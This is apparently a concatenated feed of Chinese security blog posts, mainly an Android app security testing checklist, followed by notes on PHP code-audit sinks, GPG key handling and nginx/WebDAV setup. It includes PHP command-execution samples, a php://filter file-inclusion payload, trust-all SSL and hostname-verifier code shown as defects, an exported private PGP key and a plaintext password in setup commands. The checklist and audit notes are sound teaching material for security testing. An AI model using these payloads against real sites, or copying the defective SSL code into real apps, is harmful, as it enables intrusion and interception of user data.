App登陆密码在服务器端进行验证,并加入设备信息,以降低用户登陆密码泄露的风险
检测目的
检测App在将用户登录信息传输到服务器端的过程中是否进行了加密保护,以免被攻击者拦截网络流量,窃取用户登陆信息
检测方法
使用Burpsuite拦截app登陆操作的数据包,分析是否明文传输用户信息
检测结论
若App在将用户注册信息传输到服务器端时进行了加密处理,则通过测试
修复建议
App在将用户登陆信息传输到服务器端的过程中,要对用户登陆信息进行加密处理
检测目的
检测App在登录时,是否可以抓取数据包,利用数据包中的验证码字段/密码字段进行暴力破解
检测方法
检测App在登陆时,是否可以爆破验证码/密码,获取正确的验证码和登陆密码
检测结论
若App在登陆时验证码和登陆密码可以被爆破,则本项测试不通过
修复建议
检测目的
检测App是否可以通过爆破验证码实现任意账户登陆、任意重置用户密码等操作
检测方法
检测结论
若App通过爆破验证码实现登陆任意账户、任意重置用户密码、短信炸弹,或通过撞库获取用户登陆信息,则此项测试 不通过
修复建议
检测目的
检测App是否可以绕过验证码登陆任意账户、修改用户ID获取其他用户信息
检测方法
检测结论
若App可以绕过验证码登陆其他用户,或可以修改用户ID获取其他用户信息,则本项测试 不通过
修复建议
加强身份验证机制,使用Token或Session机制,设置访问控制策略,敏感数据采用高强度加密传输
检测目的
检测App客户端是否具有双因子认证机制,保护用户登陆信息
检测方法
检测结论
如Apple具有双因子认证机制和不同设备登录时的短信提醒认证机制,则通过测试
修复建议
App采用双因子认证机制和不同设备登陆短信提醒认证机制,保护用户登陆信息安全
检测目的
检测客户端与服务器端交互的会话,是否存在复杂的会话ID,同时服务器是否对其进行校验
检测方法
检测结论
若客户端与服务器端会话时采用来复杂加密的Key,同时服务器端对客户端发送的Key进行了校验,攻击这无法伪造,服务器端无响应,则通过测试
修复建议
客户端与服务器端通信会话时采用复杂的算法对随机的Sessionid进行加密,同时服务器端对随机的Sessionid进行校验
检测目的
在客户端与服务器端通信会话过程中,检测是否存在Token机制,是否容易被攻击者截取利用
检测方法
检测结论
若客户端与服务器端通信会话的Toekn能被轻易获取利用或被破解,则本项测试不通过
修复建议
检测目的
若客户端与服务器端通信临时终端或长时间不活跃,检测服务器是否立即终止会话
检测方法
检测结论
若客户端与服务器端通信临时中断或长时间不活跃时,服务器端立即与客户端中断会话,需要重新认证,则本项测试结果为通过
修复建议
在客户端与服务器端通信会话过程中,增加时间的有效性,例如设置时间为5min,若客户端与服务器长时间不活跃或者客户端服务在后台运行,服务器立即中断本次会话
检测目的
在客户端与服务器端进行敏感交易时,检测服务器端是否存在双因子身份认证机制
检测方法
检测结论
若客户端与服务器端存在双因子身份认证,则通过测试
修复建议
App中涉及敏感用户信息的界面,要求使用双因子身份认证机制,例如采用支付密码和用户预留短信验证码等认证方式
检测目的
在用户执行登出操作后,检测服务器端是否立即终止与客户端之间的会话连接
检测方法
检测结论
若在客户端用户执行登出操作后,服务器立即终止与客户端之间的会话连接,需要用户重新进行登陆认证
修复建议
在用户执行登出操作后,立即终止客户端与服务器端的会话连接
检测目的
当用户执行登出操作后,检测服务器是否及时删除客户端对应的Token或Sessionid
检测方法
操作客户端登出功能,通过用户名、密码、及之前的Token值或Sessionid值能够登陆成功,则本项测试不通过
检测结论
在用户执行登出操作后,若客户端使用之前的Token或Sessionid值能够登陆成功,则本项测试不通过
修复建议
当用户执行登出操作后,服务端及时删除户端对应的Token或Sessionid值
检测目的
检测在客户端注销后,使用相同账户能否重新注册
检测方法
检测结论
若注销账户后仍可以使用相同的账户注册,关联的第三方数据无法使用,则通过测试
修复建议
在客户端注销操作后,可以使用相同账户重新注册,确认原来的账户信息已经清除
检测目的
检测在App卸载后,本地存储的数据或账户缓存等信息是否全部清除
检测方法
检测结论
若卸载App后,本地数据完全及时清除,则通过测试
修复建议
在App卸载后,及时删除本地存储的全部数据
检测目的
检测App是否存在用户协议声明。若存在,是否对使用用户信息用户及保护措施进行声明,是否存在违规行为
检测方法
检测结论
若App存在用户服务协议,且声明了用户信息用途及保护措施,则通过测试
修复建议
App手机用户个人信息前,必须在用户服务协议中声明,需要收集用户设备的哪些信息、具体用途、及保护用户信息的安全措施和具体承诺
检测目的
检测App是否过度申请系统敏感权限,使用该权限时是否提示用户授权,是否过度手机用户数据,数据传输过程是否安全
检测方法
检测结论
若App无过度申请系统敏感权限,且在使用该权限时提示用户授权,同时没有过度收集用户数据,则通过测试
修复建议
App发布时需要删除不需要的系统敏感权限,在申请系统敏感权限时,需要提示用户授权,不得私自上传在协议中未声明的用户信息
检测目的
检测App是否实现了自带的安全键盘,且启动键盘时数字是否随机分布,关键的输入框是否禁用复制粘贴功能,是否存在验证码校验机制,验证码是否安全
检测方法
检测结论
若App实现了自定义软键盘,键盘数字实现了随机分布,具有安全的验证码,同时密码输入框禁用了复制粘贴功能,则通过测试
修复建议
android:longClickable="false"
关闭其功能检测目的
检测App生成数据的存储形式时是结构话还是非结构话,数据是否经过加密后存储
检测方法
检测结论
若本地存储的数据经过加密处理,则通过测试
修复建议
不管生成的数据是采用结构化还是非结构化形式存储,都要求加密后存储
检测目的
检测App是否具备完善的权限管理机制,是否能够与其他App隔离,是否在权限允许的范围之外存在数据被其他客户端访问的风险
检测方法
查看App本地存储文件的权限
ls -al files # 本地存储file文件权限 ls -al shared_pref # 本地存储xml文件权限 ls -al app_webview # 本地存储的cache文件权限 ls -al databases # 本地存储的db文件权限
检测结论
如客户端具备完善的权限管理机制,以最小权限为原则,则通过测试
修复建议
App客户端严格控制本地生成敏感数据访问权限,避免被第三方App非法访问导致用户信息泄露
检测目的
检测App在本地存储的用户信息是否经过了加密处理,加密密钥是否进行了保护,加密算法是否合理,生成的随机数强度是否较高,避免造成用户信息泄露风险
检测方法
检测App在本地生成的数据文件是否加密,检测App在本地存储的文件是否加密
检测结论
若本地数据进行了加密处理,加密密钥进行了保护处理,且采用多种加密算法组合加密,对不同的数据采用了不同的加密算法,采用安全的方式生成随机数,则通过测试
修复建议
检测目的
检测App源码中的调试信息是否关闭,在调试信息中是否写入敏感信息
检测方法
反编译源码,查看是否存在日志调试代码,要求不得存在日志调试代码
private void save(){ String mName=etUsername.getText().toString(); String mPwd=etPwd.getText().toString(); mEditor.putString("Name",mName); mEditor.putString("Pwd",mPwd); mEditor.commit(); Log.d("TEST","本地存储"+"用户名"+mName+"密码"+mPwd); }
动态运行App客户端,使用logcat查看后台打印日志是否存在用户敏感数据,要求后台不得打印日志调试信息
检测结论
若App关闭了源码中的调试信息,则通过测试
修复建议
App发布时应删除源码中的日志调试代码
检测目的
检测App源码和行为特征是否符合App安全相关标准的规定
检测方法
反编译App代码,查看是否私自手机用户敏感信息,抓包拦截,检测是App是否私自上传用户隐私到服务器
检测结论
逆向分析源码和数据包,若符合App安全相关标准的规定,则通过测试
修复建议
App源码要进行严格审核处理,禁止在用户未知情的情况下私自收集用户信息
检测目的
检测在App服务协议中是否声明第三方SDK收集用户信息的用途,是否过度收集用户个人信息
检测方法
查看用户协议内容是否声明共享用户信息给第三方SDK,并通过抓包查看第三方SDK的行为特征
检测结论
若用户协议中明确声明App信息与第三方共享情况,则通过测试
修复建议
App要明确声明是否会与第三方共享用户信息,以及共享用户信息的具体用途
检测目的
检测App是否在用户未知情的情况下,私自共享用户个人信息给第三方SDK,以及第三方SDK是否私自收集用户个人信息到指定服务器
检测方法
检测结论
若分析源码内容和数据包后,符合App安全相关标准的规定,则通过测试
修复建议
在App共享数据给第三方SDK的服务协议之外,禁止App和第三方SDK私自采用短信或数据包等形式,收集用户信息并上传到指定服务器
检测目的
检测App应用数据是否可以备份,是否能够防止攻击者复制App数据
检测方法
查看Androidmanifest.xml文件中的allowBackup属性是否为true
<application android:allowBackup="true"
检测结论
在App不具备备份功能的情况下,若 <application android:allowBackup="false"
则通过测试
修复建议
在App不具备备份功能的情况下,应将 <application android:allowBackup="false"
检测目的
检测App备份的数据是否进行加密处理,并且要求使用复杂的加密强度高的算法
检测方法
若采用对称算法加密,则判断对称算法的密码是否存储安全,加密算法的源代码是否可以被破解
检测结论
若App备份的数据进行了加密处理,则通过测试
修复建议
采用多种混合算法加密,例如AES256,MD5,HASH,DES,BASE64
检测目的
检测App客户端在切入后台运行时是否对收集存储的文件、数据库、配置文件、缓存文件等进行及时清理操作
检测方法
检测结论
若App在切入后台运行时,本地生成的临时文件db、xml、cache中的数据或者运行时内存中的用户数据做到了及时清理,则通过测试
修复建议
App在切入后台运行后,应及时清理本地存储的用户敏感信息和内存中的数据信息
检测目的
检测App在退出或被卸载时,是否彻底删除在手机本地存储的文件、数据库、缓存、配置信息等文件
检测方法
使用反编译工具apktool对目标文件进行反编译,查看App代码中是否具有清除缓存信息的方法 removeSessionCookie()/deleteCookie()
if("ClearWebView" , "webView.clearCache"){ try{ CookieSyncManager.createInstance(this.Y.getApplicationContext()); CookieSyncManager.getInstance().removeSessionCookie(); CookieSyncManager.getInstance().sync(); }catch(Exception v0_1){ } }
检测结论
若本地生成文件仍然存在,则本项测试 不通过
修复建议
检测App在退出或被卸载时,应彻底删除在手机本地存储的文件、数据库、缓存、配置信息等信息
检测目的
检测客户端与服务器端交互核心的通信会话是否采用HTTPS,同时是否为现有最佳实践方式
检测方法
使用Burpsuite/Wireshark抓包,判定用户登录、交易等私密连接是否使用HTTPS进行网络通信,查看TLS版本是否高于1.0
检测结论
若客户端与服务器端通信采用HTTPS,且TLS版本高于1.0,则通过测试
修复建议
客户端与服务器端核心的通信会话均采用HTTPS,同时TLS版本高于1.0
检测目的
检测客户端与服务器建立安全通道时,客户端是否验证远程端点的X.509证书,是否只接受受信任的CA签名证书
检测方法
检测CA证书的合法性,是否为受信任的CA签名证书,App是否只接受受信任的CA签名证书
检测结论
若截获的数据包中证书由可信任机构签发,且在有效期内,且访问服务器与证书绑定的一致,同时只接受信任的CA签名证书,则通过测试
修复建议
客户端验证远程端点的X.509证书,只接受受信任的CA签名的证书
检测目的
检测客户端和服务器是否对证书进行双向校验
检测方法
检测结论
若客户端对服务器端返回的证书进行了验证,同时服务器端也对客户端证书进行了校验,则通过测试
修复建议
建议一般的App要实现客户端对服务器端证书的单向验证,对于安全要求比较高的App,要实现客户端与服务器端证书的双向验证
检测目的
检测客户端是否对主机名进行校验
检测方法
反编译App代码,查找App通信的代码,查看 setHostnameVerifier()
方法接受任意域名还是进行了主机名验证
public static SSLSocketFactory getFixedSocketFactory(){ MySSLSocketFactory v0; try{ v0=new MySSLSocketFactory(MySSLSocketFactory.getKeystore()); //缺陷代码 ((SSLSocketFactory)v0).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); }catch(Throwable v1){ v1.printStackTrace(); SSLSocketFactory v0_1 = SSLSocketFactory.getSocketFactory(); } return ((SSLSocketFactory)v0); }
检测结论
若App接受任意域名,则本项测试 不通过
修复建议
App对主机名进行校验,不能接受任意域名
检测在客户端与服务器端通信过程中,业务数据是否以明文方式在网络中传输,数据加密的复杂度如何
若客户端与服务器端交互的业务数据经过多个复杂的算法加密,且无法破解,则通过测试
客户端与服务器端交互的上行/下行数据要经过多个复杂算法进行加密,同时加密存储对称加密算法密钥
检测目的
检测客户端与服务器端交互的数据是否可以被任意篡改,导致重放攻击漏洞
检测方法
运行测试App,点击登陆,拦截数据包,并进行修改后放行,查看App运行结果是否能够修改成功
检测结论
若客户端与服务器端交互的数据经过加密处理,且数据无法修改,则通过测试
修复建议
检测目的
检测App在使用HTTPS时,是否存在中间人攻击漏洞
检测方法
反编译源码,查看是否校验服务器端是否可信- 查看实现X509TrustManager接口中 checkServerTrusted()
方法实现是否为空
public MySSLSocketFactory(KeyStore truststore) throws NoSuchAlgorithmException, KeyManagementException{ this.sslContext = SSLContext.getInstance("TLS"); this.sslContext.init(null,new TrustManager[]{new X509TrustManager(){ public X509Certificate[] getAcceptedIssuers(){ return null; } public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException{ //实现逻辑为空 } public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException{ //实现逻辑为空 } }},null); }
反编译源码,查看站点域名与站点证书的域名是否匹配- 查看 HostnameVerifier()
方法中的 verify()
函数是否存在域名校验
NetworkUtils.conn=null;
NetworkUtils.is =null;
NetworkUtils.os=null;
NetowrkUtils.DO_NOT_VERIFY = new HostanmeVerifier(){
public boolean verify(String s, SSLSession sslSession){ return 1; // 不检查站点域名和站点证书的域名 } }
查看 sethostnameverifier()
方法是否接受任意域名
public static SSLSocketFactory getFixedSocketFactory(){ MySSLSocketFactory v0; try{ v0=new MySSLSocketFactory(MySSLSocketFactory.getKeystore()); //缺陷代码 ((SSLSocketFactory)v0).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); }catch(Throwable v1){ v1.printStackTrace(); SSLSocketFactory v0_1 = SSLSocketFactory.getSocketFactory(); } return null; }
检测结论
若客户端不进行服务器端是否可信、不进行域名校验、接受任意域名,对APP数据包进行拦截和篡改,则造成中间人攻击的风险。
若客户端对服务器端返回的SSL证书进行强校验,则通过测试
修复建议
对SSL证书进行签名CA是否合法、证书是否自签名、主机域名是否匹配、证书是否过期等校验。
第一代加固技术: 通过对源码进行
第二代加固技术: 对原始App的dex文件加密,并外包一层克,将App的核心代码进行隐藏
第三代加固技术: 对dex文件中所有的类及方法函数内容进行抽取、加密和隐藏,单独加密后存放在apk中的特定文件内
第四代加固技术: DVMP(dex虚拟机保护) 具有自定义虚拟机、指令集和解释器,未保护的代码在系统虚拟机中运行,保护代码在自定义虚拟机运行
在Android上安装Frida Server
adb shell getprop ro.build.version.release # 获取Android版本号 adb shell getprop ro.product.cpu.abi # 查看CPU架构,根据架构下载对应的frida-server-14.2.18-android-arm64.xz xz -d frida-server-14.2.18-android-arm64.xz # 解压frida-server adb push frida-server-14.2.18-android-arm64 /data/local/tmp # 传输到/data/local/tmp目录下 adb shell su chmod a+x /data/local/tmp/frida-server-14.2.18-android-arm64 adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043 ./frida-server-14.2.18-android-arm64 python dexDump.py com.test.aspiredoctor
在macOS上安装Frida Client
pip3 install frida frida-tools
1 替换Android系统/system/bin/appprocess文件
2 如apk文件和dex文件
3 可导致调用系统功能截取屏幕和录像窃取用户信息,界面劫持,对用户进行钓鱼
4 检测客户端程序是否对已经root的android系统、模拟器和逆向框架进行检测
5 检测客户端程序是否进行代码加密、代码混淆和代码加固,是否易被逆向并泄露程序的设计原理和运行流程
6 检测客户程序是否对自身进行校验
7 检测客户端程序是否可被外部程序动态调试并输出敏感信息
8 检测客户端程序是否存在进程保护和内存保护,防止被外部程序动态注入so文件到指定进程、以及任意修改、转储内存代码行为
]]>Requirements
brew install ffmpegbrew install gifsicle
ffmpeg -i in.mov -s 600x400 -pix_fmt rgb24 -r 10 -f gif - | gifsicle --optimize=3 --delay=3 > out.gif
Arguments:
-r 10 to reduce the frame rate from 25 fps to 10 fps-s 600x400 to determine the output size.--delay=3 to have a delay of 30ms between each gif--optimize=3 to use the most file-size optimized algorithm
]]>代码审计本质: unfilter_function(param_input)
找漏洞 -> 找可以控制的变量(参数)=paraminput= -> 危险函数(paraminput)
漏洞形成条件:
隐式输入: 用户传递数据-> 数据库/缓存文件等地方 -> 程序代码处理->程序代码
显式输入: 用户传递数据-> 程序代码处理
$_REQUEST
参数中的数据是浏览器可控的,黑客可以通过巧妙的构造覆盖PHP全局参数
PHP中存在敏感函数可以执行系统命令,常见这类函数如下:
execshell_execsystempassthrupopenproc_openpcntl_exec
PHP中存在敏感函数可以执行PHP代码段,常见函数如下:
evalassertpreg_replacecreate_function
常见信息泄露的函数有 phpinfo~、~show_source
eval()
assert()
preg_replace
create_funtion
call_user_func
call_user_func_array
@eval('echo "test-echo";'); echo '<hr>'; assert('system("whoami")'); // preg_replace("/test/e","phpinfo();","just test"); echo '<hr>'; $cfunc=create_function('$v','return system($v);'); $cfunc('whoami'); echo '<hr>'; $sfunc='sys'.'tem'; $sfunc('whoami'); echo '<hr>'; function callback($var){ echo "call test $var"; } call_user_func('callback','crkmyth1cal');
require
include
require_once
include_once
include $file;
include($_GET[‘file’]);
// ?file=php://filter/convert.base64-encode/resource=index.php
exec
system
popen
proc_open
passthru
shell_exec
echo shell_exec(‘ping www.baidu.com');
echo shell_exec(‘whoami’);
读取:读取配置文件,获取key
写入:写入shell代码
删除:删除 .lock
文件,重新安装
copy
file_get_contents
file_put_contents
file
glob
fopen
move_uploaded_file
readfile
rename
delete
rmdir
unlink
symlink
readlink
file_put_contents("baidu.txt",file_get_contents("https://www.baidu.com")); unlink('baidu.txt');
phpinfo
getenv
putenv
dl
ini_get
ini_set
ini_alter
ini_restore
is_numeric
in_array
parse_str
mb_parse_str
extract
import_request_variables
get_defined_vars
get_defined_constants
get_defined_functions
get_included_files
php-fpm : FastCGI进城管理器(mac自带)
nginx : 高性能的HTTP和反向代理web服务器
brew install nginxUpdating Homebrew...==> Downloading from https://pkg-containers.githubusercontent.com/ghcr1/blobs/sha256:8ba34676e573272aa1f73d4dcf6bfddbaa69746a92bf812f6760b######################################################################## 100.0%==> Pouring nginx--1.21.1.big_sur.bottle.tar.gz==> CaveatsDocroot is: /usr/local/var/wwwThe default port has been set in /usr/local/etc/nginx/nginx.conf to 8080 so thatnginx can run without sudo.nginx will load all files in /usr/local/etc/nginx/servers/.To have launchd start nginx now and restart at login: brew services start nginxOr, if you don't want/need a background service you can just run: nginx==> Summary🍺 /usr/local/Cellar/nginx/1.21.1: 25 files, 2.2MB
brew services start nginx # 开机自启nginx
nginx安装路径 /usr/local/Cellar/nginx/1.21.1
nginx配置文件 /usr/local/etc/nginx/nginx.conf
Docroot /usr/local/var/www
php-fpm配置文件 /etc/php-fpm.conf.default
cp /private/etc/php-fpm.conf.default /private/etc/php-fpm.conf
cp /private/etc/php-fpm.d/www.conf.default /private/etc/php-fpm.d/www.conf
创建errorlog文件
mkdir /usr/local/var/log/php-fpm touch /usr/local/var/log/php-fpm/php-fpm.log //修改php-fpm.conf error_log = /usr/local/var/log/php-fpm/php-fpm.log
brew install gpg
gpg --gen-keygpg (GnuPG) 2.3.1; Copyright (C) 2021 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.gpg: directory '/Users/crkmyth1cal/.gnupg' createdgpg: keybox '/Users/crkmyth1cal/.gnupg/pubring.kbx' createdNote: Use "gpg --full-generate-key" for a full featured key generation dialog.GnuPG needs to construct a user ID to identify your key.Real name: crkmyth1calEmail address: crkmyth1cal@protonmail.comYou selected this USER-ID: "crkmyth1cal <crkmyth1cal@protonmail.com>"Change (N)ame, (E)mail, or (O)kay/(Q)uit? OWe need to generate a lot of random bytes. It is a good idea to performsome other action (type on the keyboard, move the mouse, utilize thedisks) during the prime generation; this gives the random numbergenerator a better chance to gain enough entropy.We need to generate a lot of random bytes. It is a good idea to performsome other action (type on the keyboard, move the mouse, utilize thedisks) during the prime generation; this gives the random numbergenerator a better chance to gain enough entropy.gpg: /Users/crkmyth1cal/.gnupg/trustdb.gpg: trustdb createdgpg: key AA72032823A2ECCA marked as ultimately trustedgpg: directory '/Users/crkmyth1cal/.gnupg/openpgp-revocs.d' createdgpg: revocation certificate stored as '/Users/crkmyth1cal/.gnupg/openpgp-revocs.d/CDD514503006241E57352861AA72032823A2ECCA.rev'public and secret key created and signed.pub ed25519 2021-06-19 [SC] [expires: 2023-06-19] CDD514503006241E57352861AA72032823A2ECCAuid crkmyth1cal <crkmyth1cal@protonmail.com>sub cv25519 2021-06-19 [E] [expires: 2023-06-19]
gpg --change-passphrase crkmyth1calgpg (GnuPG) 2.3.1; Copyright (C) 2021 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.
gpg --list-keys # or -k/Users/crkmyth1cal/.gnupg/pubring.kbx-------------------------------------pub ed25519 2021-06-19 [SC] [expires: 2023-06-19] CDD514503006241E57352861AA72032823A2ECCAuid [ultimate] crkmyth1cal <crkmyth1cal@protonmail.com>sub cv25519 2021-06-19 [E] [expires: 2023-06-19]gpg --list-secret-key # or -K/Users/crkmyth1cal/.gnupg/pubring.kbx-------------------------------------sec ed25519 2021-06-19 [SC] [expires: 2023-06-19] CDD514503006241E57352861AA72032823A2ECCAuid [ultimate] crkmyth1cal <crkmyth1cal@protonmail.com>ssb cv25519 2021-06-19 [E] [expires: 2023-06-19]
gpg -a -o crkmyth1cal.gpg --export crkmyth1cal@protonmail.com-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEYM1ptRYJKwYBBAHaRw8BAQdAaHUGQrDArp3fZYv3MxlT6yxP9/CW5wAgdP7nLfqz4MO0KGNya215dGgxY2FsIDxjcmtteXRoMWNhbEBwcm90b25tYWlsLmNvbT6ImgQTFgoAQhYhBM3VFFAwBiQeVzUoYapyAygjouzKBQJgzWm1AhsDBQkDwmcABQsJCAcCAyICAQYVCgkICwIEFgIDAQIeBwIXgAAKCRCqcgMoI6LsynziAQCa+VwORih0H2Ycnx8vaM4hwr1iyySb3Bb5o0caHdeu3QEAzBAaIX6JnVPJnIskca6b+k+iJJsWB0xG/GTwp/G5Egi4OARgzWm1EgorBgEEAZdVAQUBAQdAmrrwVy7J5GgqpA9PfB63oTVQAKR/w6aARrqQ7VNybWYDAQgHiH4EGBYKACYWIQTN1RRQMAYkHlc1KGGqcgMoI6LsygUCYM1ptQIbDAUJA8JnAAAKCRCqcgMoI6LsyiSuAQD2PfSX8REDV34euf9DRoBg0uKhLTgQtgm2zeEcpm+0UAD/V4KzFUFrwMqHComhztuWLEWiCZdvRn1n+n4vvYFYggQ==3qda-----END PGP PUBLIC KEY BLOCK-----gpg -ao crkmyth1cal@protonmail.com.private.key --export-secret-keys crkmyth1cal@protonmail.com-----BEGIN PGP PRIVATE KEY BLOCK-----lIYEYM1ptRYJKwYBBAHaRw8BAQdAaHUGQrDArp3fZYv3MxlT6yxP9/CW5wAgdP7nLfqz4MP+BwMClpMTsR0QrB7z+mUYYoXKHAVO6Sx8Qou3jDkh+13GjO8T0BKtvJxp4gg+ycTou2JKSF79LJPTVJKMxO+qVL9ZoXNKPMroumiraVtFKp2OOrQoY3JrbXl0aDFjYWwgPGNya215dGgxY2FsQHByb3Rvbm1haWwuY29tPoiaBBMWCgBCFiEEzdUUUDAGJB5XNShhqnIDKCOi7MoFAmDNabUCGwMFCQPCZwAFCwkIBwIDIgIBBhUKCQgLAgQWAgMBAh4HAheAAAoJEKpyAygjouzKfOIBAJr5XA5GKHQfZhyfHy9oziHCvWLLJJvcFvmjRxod167dAQDMEBohfomdU8mciyRxrpv6T6IkmxYHTEb8ZPCn8bkSCJyLBGDNabUSCisGAQQBl1UBBQEBB0CauvBXLsnkaCqkD098HrehNVAApH/DpoBGupDtU3JtZgMBCAf+BwMC3RGXbNzVlWDz4USVVz26VGm7Wo8VSovee7SFJ2YXwFbx0//u5luXDYhKK7iTrtjDQqMXk1LOnOdO1HM5nn0uD5N5eTgRKfiDBLZRYRXxaIh+BBgWCgAmFiEEzdUUUDAGJB5XNShhqnIDKCOi7MoFAmDNabUCGwwFCQPCZwAACgkQqnIDKCOi7MokrgEA9j30l/ERA1d+Hrn/Q0aAYNLioS04ELYJts3hHKZvtFAA/1eCsxVBa8DKhwqJoc7blixFogmXb0Z9Z/p+L72BWIIE=hdmV-----END PGP PRIVATE KEY BLOCK-----
gpg --import crkmyth1cal.gpggpg --import crkmyth1cal.private.keygpg: key AA72032823A2ECCA: "crkmyth1cal <crkmyth1cal@protonmail.com>" not changedgpg: key AA72032823A2ECCA: secret key importedgpg: Total number processed: 1gpg: unchanged: 1gpg: secret keys read: 1gpg: secret keys unchanged: 1
gpg --edit-key crkmyth1calgpg (GnuPG) 2.3.1; Copyright (C) 2021 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Secret key is available.sec ed25519/AA72032823A2ECCA created: 2021-06-19 expires: 2023-06-19 usage: SC trust: ultimate validity: ultimatessb cv25519/603F4ACEF55D04B2 created: 2021-06-19 expires: 2023-06-19 usage: E[ultimate] (1). crkmyth1cal <crkmyth1cal@protonmail.com>gpg> fpr # fingerprintpub ed25519/AA72032823A2ECCA 2021-06-19 crkmyth1cal <crkmyth1cal@protonmail.com> Primary key fingerprint: CDD5 1450 3006 241E 5735 2861 AA72 0328 23A2 ECCAgpg> sign"crkmyth1cal <crkmyth1cal@protonmail.com>" was already signed by key AA72032823A2ECCANothing to sign with key AA72032823A2ECCAgpg> quit
gpg --delete-key crkmyth1cal@protonmail.comgpg --delete-secret-key crkmyth1cal@protonmail.com
gpg --output revoke.asc --gen-revoke crkmyth1cal@protonmail.com 130 ↵sec ed25519/AA72032823A2ECCA 2021-06-19 crkmyth1cal <crkmyth1cal@protonmail.com>Create a revocation certificate for this key? (y/N) yPlease select the reason for the revocation: 0 = No reason specified 1 = Key has been compromised 2 = Key is superseded 3 = Key is no longer used Q = Cancel(Probably you want to select 1 here)Your decision? 3Enter an optional description; end it with an empty line:> I'm not used this key>Reason for revocation: Key is no longer usedI'm not used this keyIs this okay? (y/N) yASCII armored output forced.Revocation certificate created.Please move it to a medium which you can hide away; if Mallory getsaccess to this certificate he can use it to make your key unusable.It is smart to print this certificate and store it away, just in caseyour media become unreadable. But have some caution: The print system ofyour machine might store the data and make it available to others!gpg --import revoke.ascgpg --send-keys crkmyth1cal@protonmail.com
gpg --refresh-keys # update all keys from a keyservergpg: refreshing 1 key from hkps://hkps.pool.sks-keyservers.netgpg: key 32B25331509A6D85: "crkmyth1cal <crkmyth1cal@protonmail.com>" not changedgpg: Total number processed: 1gpg: unchanged: 1# 发送key ID到keyservergpg --send-keys 9001430FA52D253633CB1B8D32B25331509A6D85 2 ↵gpg: sending key 32B25331509A6D85 to hkps://hkps.pool.sks-keyservers.netgpg --search-keys ethan hunter # search key and importgpg: data source: https://hkps.pool.sks-keyservers.net:443(1) Ethan Hunter <Ethanhunter@cock.li> 2048 bit RSA key E6F7CD04BD975343, created: 2018-05-12, expires: 2020-05-12 (expired)Keys 1-1 of 1 for "ethan hunter". Enter number(s), N)ext, or Q)uit > 1gpg: key E6F7CD04BD975343: public key "Ethan Hunter <Ethanhunter@cock.li>" importedgpg: Total number processed: 1gpg: imported: 1# import keys from a keyservergpg --receive-keys B9c0165fgpg: key C7BA956CB9C0165F: public key "ethan <askding@bugbank.cn>" importedgpg: Total number processed: 1gpg: imported: 1
# encryptgpg -ao msg.txt.gpg -r crkmyth1cal -e msg.txt # -r = --recipient ,many recipient use : -r askDing -r crkmyth1cal -----BEGIN PGP MESSAGE-----hF4DYD9KzvVdBLISAQdAsW4ri+FuwxVn0pE1/WGl0hsmKL+j5+hWiXRohZFeXGgw9PDAlAPE5icl3aKaOH2ZLVPaGLerGjRVZDopJqmAH812IPvlZHtZdRSPvBhb39dr1GkBCQIV1TBYqTyxBsdFBrkOmc9dVS2/720cTcwoEISGa6RRAvzj1wIFDaP9yW0giA9TybkoHWaM0Gfa2Zb9d3I2FGfV+wnusWr1zl8HUGxQ+HwxaJi0PvRM1T1LZHla+qOU2zzdLNNlXP0==E0w0-----END PGP MESSAGE-----# decryptgpg -o msg.txt -d msg.txt.gpggpg: encrypted with cv25519 key, ID 603F4ACEF55D04B2, created 2021-06-19 "crkmyth1cal <crkmyth1cal@protonmail.com>"
#encryptgpg -ao msg.txt.symmetric.gpg -c msg.txt # -c as --symmetric-----BEGIN PGP MESSAGE-----jA0ECQMCDFhZquLMGzHz0loBJfOjQIg8gbP4LwMYHQ1dJzPmEjwPRR9WcT0OffXqXqjk0ku3bUCXhKcx4FTmapleTSDJUBqHRNmBf94F2cbnSt+JUJZNpyPkY447wDneSYkxccKlP67k+Ro==6Q3U-----END PGP MESSAGE-----# decryptgpg -o msg.txt -d msg.txt.symmetric.gpggpg: AES256.CFB encrypted datagpg: encrypted with 1 passphrase
# signgpg -ao msg.txt.sign -s msg.txt # -s as --sign-----BEGIN PGP MESSAGE-----owGbwMvMwCVmtCnYMGBWbivjGp0k9tzidL2SipKEs02PSjIyixWAKFEhObE4VSE/TSE1L7mosqBEIS0zJ5Wro5SFQYyLQVZMkWUCozP/Ul1VM+PT0r0w01iZQGYwcHEKwEQWf2Vk2J26+Yxx+Y4vEWt5l2w8+HDx97CNWmeVDZfnrN7XlPemvp+R4YTTtZ2HxGVayz76q6yb1eRmfiuWbW/wHB3fzS0niydJsQIA=GoIj-----END PGP MESSAGE-----# verify gpg --verify msg.txt.signgpg: Signature made Sat Jun 19 13:38:42 2021 CSTgpg: using EDDSA key 9001430FA52D253633CB1B8D32B25331509A6D85gpg: Good signature from "crkmyth1cal <crkmyth1cal@protonmail.com>" [ultimate]# verify and restoregpg -o msg.txt -d msg.txt.signgpg: Signature made Sat Jun 19 13:38:42 2021 CSTgpg: using EDDSA key 9001430FA52D253633CB1B8D32B25331509A6D85gpg: Good signature from "crkmyth1cal <crkmyth1cal@protonmail.com>" [ultimate]
]]>sudo apt install -y apache2 sudo a2enmod dav dav_fs dav_lock auth_digest
sudo mkdir /var/webdavsudo chown www-data:www-data /var/webdavsudo touch /var/DavLocksudo chown www-data:www-data /var/DavLock
sudo htpasswd -Bc /var/passwd.dav admin m,./sudo chmod 640 /var/passwd.davsudo chown www-data:www-data /var/passwd.davsudo htpasswd -B /var/passwd.dav admin2 m,./ # 新增用户sudo htpasswd -D /var/passwd.dav admin2
